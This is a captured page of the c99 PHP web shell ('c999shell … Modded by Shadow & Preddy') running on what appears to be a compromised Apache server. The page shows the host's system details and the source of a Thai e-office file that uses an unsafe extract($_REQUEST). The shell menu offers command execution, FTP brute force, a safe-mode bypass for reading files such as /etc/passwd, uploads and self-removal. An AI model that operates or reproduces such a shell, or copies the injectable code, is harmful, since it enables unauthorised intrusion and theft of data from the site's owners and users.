!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 50.91 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showSendDocToSR.php (4.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<html>
<head>
<script>
function select_checkAll(){
    if(document.getElementById("checkAll").checked==true){
            iselectps=document.getElementById("iselectps").value;
            for(i=1;i<=iselectps;i++){         
                        document.getElementById("selectPs["+i+"]").checked = true;
            }
            document.getElementById("NocheckAll").checked = false;
    }else{
    /*
            iselectps=document.getElementById("iselectps").value;
            for(i=1;i<=iselectps;i++){ 
                    document.getElementById("selectPs["+i+"]").checked = false;
            }
            */
    }
}
function NocheckAll2(){  
        var k=0; var j=0;

        iselectps=document.getElementById("iselectps").value;
        if(iselectps){    
                for(i=1;i<=iselectps;i++){             
                            if(document.getElementById("selectPs["+i+"]").checked == true){
                                    k++;
                            }
                            if(document.getElementById("selectPs["+i+"]").checked == false){
                                    j++;
                            }
                }
        }

            if(k!=0){
                    document.getElementById("NocheckAll").checked = false;
            }
            if(j!=0){
                    document.getElementById("checkAll").checked = false;
            }
}
function select_NocheckAll(){  
    if(document.getElementById("NocheckAll").checked==true){
        iselectps=document.getElementById("iselectps").value;
        if(iselectps){
            for(i=1;i<=iselectps;i++){             
                        document.getElementById("selectPs["+i+"]").checked = false;
            }
        }
            document.getElementById("checkAll").checked = false;
    }
    
}
</script>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<? extract ($_REQUEST); ?>
<table width="100%"  height="100%" border="0" align="center" cellpadding="0" cellspacing="0"  style="border-collapse:collapse">
  <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_2"]; ?>" height=22>
    <td align="left" colspan="3">&nbsp;เลือกผู้รับหนังสือ</td>
  </tr>
  <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">
    <td height="22" valign="bottom" colspan="2">&nbsp;&nbsp;&nbsp;<strong>ส่งให้หน่วยงาน</strong></td>
    <td width="7%" align="right"></td>
  </tr>
  <tr height=22 width="100%" align="center"> 
    <td align="center" colspan="3">
    <div style="overflow: auto; height: 200px; width: 100%;">
  <table bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_17"]; ?>"  width="94%" border="0" cellpadding="0" cellspacing="0" align="center">
  <tr bgcolor="#F2F2F2"><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input name="checkAll" id="checkAll" type="checkbox" value="1" <?    if($checkAll=="1"){  echo "checked";}?> onClick="return select_checkAll();"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>">เลือกส่งให้ทุกหน่วยงาน</font><br>
              &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input name="NocheckAll" id="NocheckAll" type="checkbox" value="1" onClick="return select_NocheckAll();">ยกเลิกทั้งหมด</td></tr>
 <?
        $oCd
->RScollegeSRordercollegeqCIDcollegecUID($GLOBALS["COLLEGEID"]);
        
$iselectps=1;
        
$getcollegeqCID="";
        while(
$oCd->GetRecord()){        
                if(
$oCd->collegeqCID!=$getcollegeqCID){
                    
$getcollegeqCID=$oCd->collegeqCID;
                    
$oQc->SearchByKey($getcollegeqCID);
                    
$oQc->GetRecord();                
                    echo 
"<tr><td>&nbsp;<b>เครือข่าย".$oQc->quarterName."</b></td></tr>";
                }
                
?>
                <tr><td>&nbsp;
                <input name="collegeSR[<? echo $oCd->collegeID?>]"  id="selectPs[<? echo $iselectps;?>]" type="checkbox" value="<? echo $oCd->collegeID?>" onClick="return NocheckAll2();">
                <? echo $oCd->collegeAbbr;?>
                </td></tr>
                <? 
        $iselectps
++;  }
?>  
<?
if($oSys->useTHeGIF=='Y'){
?>
        <tr><td>&nbsp;<b>TH e-GIF</b></td></tr>
<?
    $oCdld
->RScorrespondenceletter_department_Y();
    while(
$oCdld->GetRecord()){        
                
?>
                <tr><td>&nbsp;
                <input name="deptTHeGIF[<? echo $oCdld->dm_ID?>]"   type="checkbox" value="<? echo $oCdld->dm_ID?>" onClick="return NocheckAll2();">
                <? echo $oCdld->dm_department;?>
                </td></tr>
                <?
    
}
}
?>
 <input name="iselectps" type="hidden" id="iselectps" value="<? echo $iselectps-1?>">
 <input name="ucollegeID" type="hidden" id="ucollegeID" value="<? echo $GLOBALS["COLLEGEID"]; ?>">
</table>
  </div>
    </td>
  </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0152 ]--